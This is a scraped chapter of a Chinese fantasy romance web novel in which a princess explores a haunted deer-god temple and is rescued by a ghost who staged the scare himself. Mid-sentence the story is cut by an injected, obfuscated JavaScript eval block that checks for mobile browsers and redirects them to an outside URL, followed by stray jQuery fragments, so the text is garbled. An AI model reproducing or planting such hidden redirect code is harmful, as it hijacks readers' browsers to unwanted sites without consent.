默认冷灰
24号文字
方正启体

7. 六

作者:荷蛋鱼本书字数:K更新时间:
    鹿君庙大门紧闭,从外向里看去可以看到里面似乎灯火通明,两条从屋顶落下的红绸随着半夜的风飘来飘去,活像两个索命的长舌鬼。


    “喵——”


    赵潞耳尖,听见了这一声猫叫,这才想起方才林真蓝在照鹿台的院子里大闹时,似乎也没瞧见太白君的影子。


    自从养了这狸奴,爷爷便在院子里给它支了个窝。可那玩意儿哪肯睡外头?每晚都要溜进她屋里,寻个离她近点儿的角落窝着才肯消停。


    今夜事多,她竟没留意那猫还没回来。


    没想到,它倒是在这儿。


    虽然殿下向来身正不怕影子斜,可此刻月黑风高又空无一人,眼前又是那座给她留了心理阴影的庙宇,她嘴上不承认,心里到底是有些发怵的。


    这一声猫叫,来得正是时候。


    像一只手,轻轻按住了那点不安。


    “喂,你说那个李响,会在这里面吗?”


    赵潞蹲下身来,将太白君抱在怀里,这还是她第一次主动抱这狸奴,温热柔软的小小猫身很快驱散了最后一点竖立在殿下背后的凉意。


    “不管了,本殿下...”


    随着一声像是视死如归的口号,赵潞眯着一只眼,用脚踢开了鹿君庙的大门。


    借着摇晃的烛火,她发现蒙着鹿君头的红布不知何时消失了,鹿君正低垂着头,神色悲悯地定定看着她。


    太白君用舌头轻轻舔了舔赵潞的手,她才敢硬着头皮仔仔细细打量着尊和她长得一模一样的神像。


    鹿君像是由琉璃与贝母混合而成的,通体莹润温和。


    除了这头......赵潞上前一步垫脚抚摸,神像头部的材料和身体截然不同。


    似乎是由木头制作而成,然后拼接上去的。


    鹿君庙本就不大,赵潞左右环顾一圈,便知李响压根不在这儿。林真蓝那边还不知道消停下来没有,眼下又瞧见这神像,她是一刻也不想多待。


    谁知刚转身,庙里的火光映出去照在了外面那棵双树合抱的鸳鸯树上,让她得以窥见这树的全貌。


    树身上,竟密密麻麻布满了眼睛。


    一只只,一动不动,直直地盯着她。


    那些象征长久的红绳,此刻也变成了一条又一条的白布,在夜风里轻轻晃着。


    “喵!”


    怀里一向听话的太白君忽然惨叫一声,低头在她小臂上轻轻咬了一口。赵潞吃痛松手,那猫便一溜烟窜了出去,眨眼间便消失在漆黑的夜里。


    “没良心的东西!”她捂着胳膊,又气又慌,“好吃好喝供着你,倒养出个白眼狼了......”


    一碰到危险,跑得比谁都快。


    赵潞浑身鸡皮疙瘩都起来了,可这潞天姬越是怕,越不肯露怯。她强撑着镇定,想去关上庙门,把那密密麻麻的眼珠子隔绝在外。


    才刚起身走了两步,身后忽然传来一个苍老的声音。


    “姑娘,又是你啊。”


    赵潞被这突如其来的问候给吓得倒吸一口凉气,僵在原地,她缓缓转过身去,正对上一双浑浊的眼睛。


    是先前那个给她递香的老者。


    也是个特别诡异的玩意儿。


    这么想着,赵潞咬着牙勉强道:“是本殿下问你才对吧,怎么又是你啊。”


    明明方才庙内只有一人一猫。


    老者听闻哈哈大笑。


    可他越笑,脸上的皮便一寸一寸地往下掉,而他骨头却还稳稳地撑在那里,纹丝不动,那皮肉像被烧化的陶土,软塌塌地往下坠,越拉越长。


    下巴的那一块,几乎要拖到地上。


    他一步一步朝赵潞走来,而赵潞则步步后退,很快她就被逼到了门边。


    往后一步,是那棵长满眼珠的鬼树。


    往前一步,是这掉皮掉肉的老妖怪。


    赵潞心一横,眼一闭,咬破手指画雷符:“应烛长明,诸暗不近!”


    可是面前的掉皮老妖怪笑声更大了,一声一声砸过来,听得赵潞心一寸一寸往下凉。她欲哭无泪:


    这战神,怎么就头一次喊有用啊!


    “你叫吧,还能叫谁来帮你呢?”


    老妖怪天不怕地不怕似的,嘴里念念叨叨。方才好几米的距离,他转瞬便贴了上来,这会儿面对面,反倒慢了下来,像是在逗她:“再叫,还能叫谁?”


    还能叫谁...


    她还能叫谁?


    电光石火间,那登徒子的脸浮上眼前。赵潞顾不得什么矜傲,大声喊了出来:“应长明!应长明!救我!”


    此刻要不是老妖怪挡在面前,殿下恨不得连滚带爬哭天喊地求着人来救她。


    可是战神在此间都无作为,她真的能相信一个孤魂野鬼吗?


    然而,然而。


    她的面前真的传来一道声音,不疾不徐,像是等了她很久。


    “殿下。”


    赵潞一愣,还没反应过来,那声音又响了起来,带着几分笑意,几分餍足:“你真的唤我了。我就知道,你不会忘记我的。”


    是应长明。


    那恼人的掉皮怪的笑声,竟在她喊出名字的那一刻,真的戛然而止。


    赵潞方才怕得眼眶都湿了,这会儿听见他的声音,更是红了眼睛,声音里带着自己都没察觉的委屈:“那掉皮的丑东西呢?”


    应长明看着面前殿下的模样,心里咯噔一下,忙不迭在心里给了自己一巴掌。


    演过头了。


    把殿下吓坏了。


    然而,虽然心上是悔恨着,面上他的腰杆挺得笔直,依旧一派凛然。


    “——被我打跑了。殿下放心,那丑东西,再也不会出现在你面前了。”


    那模样,那语气,倒好像那丑东西不是他自己变出来似的。


    赵潞松了一口气,蔫儿吧唧的往门外一指:“那树是怎么一回事儿?”


    应长明不顺着看也知道赵潞说的是什么,他叹息道。


    “远看婆娑不分,近探各显姿容。”


    这鸳鸯树,本是一株桃树一株青檀。两棵树同生在一道岩石裂缝里,缝隙狭小,根部只能紧紧缠在一起,相伴而生。小昭山的人,便管它们叫鸳鸯树。


    应长明温言道来,像是在说一件很久远的事。


    两树还是幼苗时便相依相存。那时还没有鹿君庙,这里是户人家的院子。四四方方的水泥墙,拘着两树的生长。待到亭亭玉立之年,那青檀伸出了墙头,枝叶与墙外的红杏勾连在了一处。


    墙外天地广阔,青檀得了好处,越长越快,扎根越深,吸走的养分也越来越多。


    青檀愈发壮大,而桃树却渐渐萎靡。


    “像是负心汉的故事。”


    有应长明在身旁,赵潞安心了许多,索性在庙宇的门槛上坐了下来。应长明也随着她坐下,挨得不远不近。


    “确是负心汉。”


    听见她的评价,应长明幽幽转过头来,目光落在了她脸上。


    赵潞迎上他的目光,理直气壮地发问:“可如今这桃树和青檀,依


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406879|200559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    旧同根同源,长得一样好?还有那树干上的眼珠子呢,又是怎么回事?”


    “因为怨,殿下。”


    他声音低下去,像从很远的地方飘过来。


    千年万年,世事浮沉。院墙拆了又建,建了又拆,兜兜转转,不知哪一朝,竟把靠着青檀的那一面围了起来。


    三十年河东,三十年河西,这回轮到桃树享那天高海阔了。


    桃怨青檀薄情,青檀怨桃树背弃。


    桃与青檀,各自生怨。


    恰逢机缘,便吃尽天下负心人。


    “殿下看到的那些眼珠子。”


    应长明抬了抬下巴,朝门外那棵密密麻麻的树指了指:“都是有眼无珠之人。”


    听到这话,赵潞惊异地看向那颗鸳鸯树。


    “所以这消失的李响莫非被——”


    应长明微笑颔首。


    “八九不离十。”


    要找的人是个负心汉,还被妖怪吃了,那她还找什么?


    赵潞反而一身轻,起身拍了拍屁股:“我啊,回去睡大觉了,他啊,自己找造化去吧。”


    “且慢。”


    应长明似乎没料到赵潞会是这般反应,脸上错愕了一瞬,不过很快,那点错愕便被游刃有余的笑意盖了过去。


    “人是来照鹿台失踪的,殿下,万一那林真蓝闹大了,不就做实了照鹿台怪事频发的说法么?届时——”


    试图逃离失败。


    赵潞气急败坏。


    “本殿下真是造孽!”


    恨恨地跺完一脚,她才眯眼盯着应长明:“你怎么知道照鹿台,你怎么什么都知道?”


    应长明眉眼间天生带着几分多情,此刻却只看着赵潞一个人。


    “殿下,因为和你有关。”


    他顿了顿,声音低下去,像是只说给她一个人听。


    “和你有关的事,我就都知道。”


    那声音太小了,小到赵潞压根没听清:“什么?”


    可面前男人没有回答她,只是摇了摇头,换了个说辞:“我是此间孤魂野鬼,这里发生的一切我都知道。”


    赵潞勉强信了这个理由。只是如何救李响,倒是个难题。


    她愁眉不展地想着,应长明倒好,先不紧不慢地欣赏了一会儿,大约是看够了,才不忍地开口:“殿下,桃与青檀乃是天地生灵,即便有怨,也难以生出如此可怖的局面。这一切,都是托了这位的机缘。”


    他手掌朝上,缓缓转向鹿君庙。


    “什么机缘?”


    赵潞和他一道走进去,目光落在那尊被雕刻得栩栩如生的鹿君脸上。


    应长明走在她身侧,长发垂至腰际,步履从容,一丝不乱。烛火映在他脸上,俊美得雌雄莫辨,要不是他还在说话,赵潞几乎要以为眼前这人是个精心雕琢的人偶了。


    “鹿君有怨。若不解,妖怪便会继续害人。而在下的一魂一魄,便因鹿君的怨,囚禁于此。”


    他顿了顿,侧过头来看她。


    “殿下,只有你能解。”


    赵潞还没反应过来,应长明已翻身跃上供神台。动作利落,毫不拖泥带水,明明是这般粗俗的举动,落在他身上,竟也让人觉得赏心悦目。


    可下一秒,她便慌了。


    应长明竟将那鹿君的脸取了下来,轻轻覆在了她的脸上!


    一瞬间,天旋地转。


    意识消散,她没有听见那人带着几分安抚的温柔哄声:“殿下,去闻一闻千年前我为你而择的桃枝吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)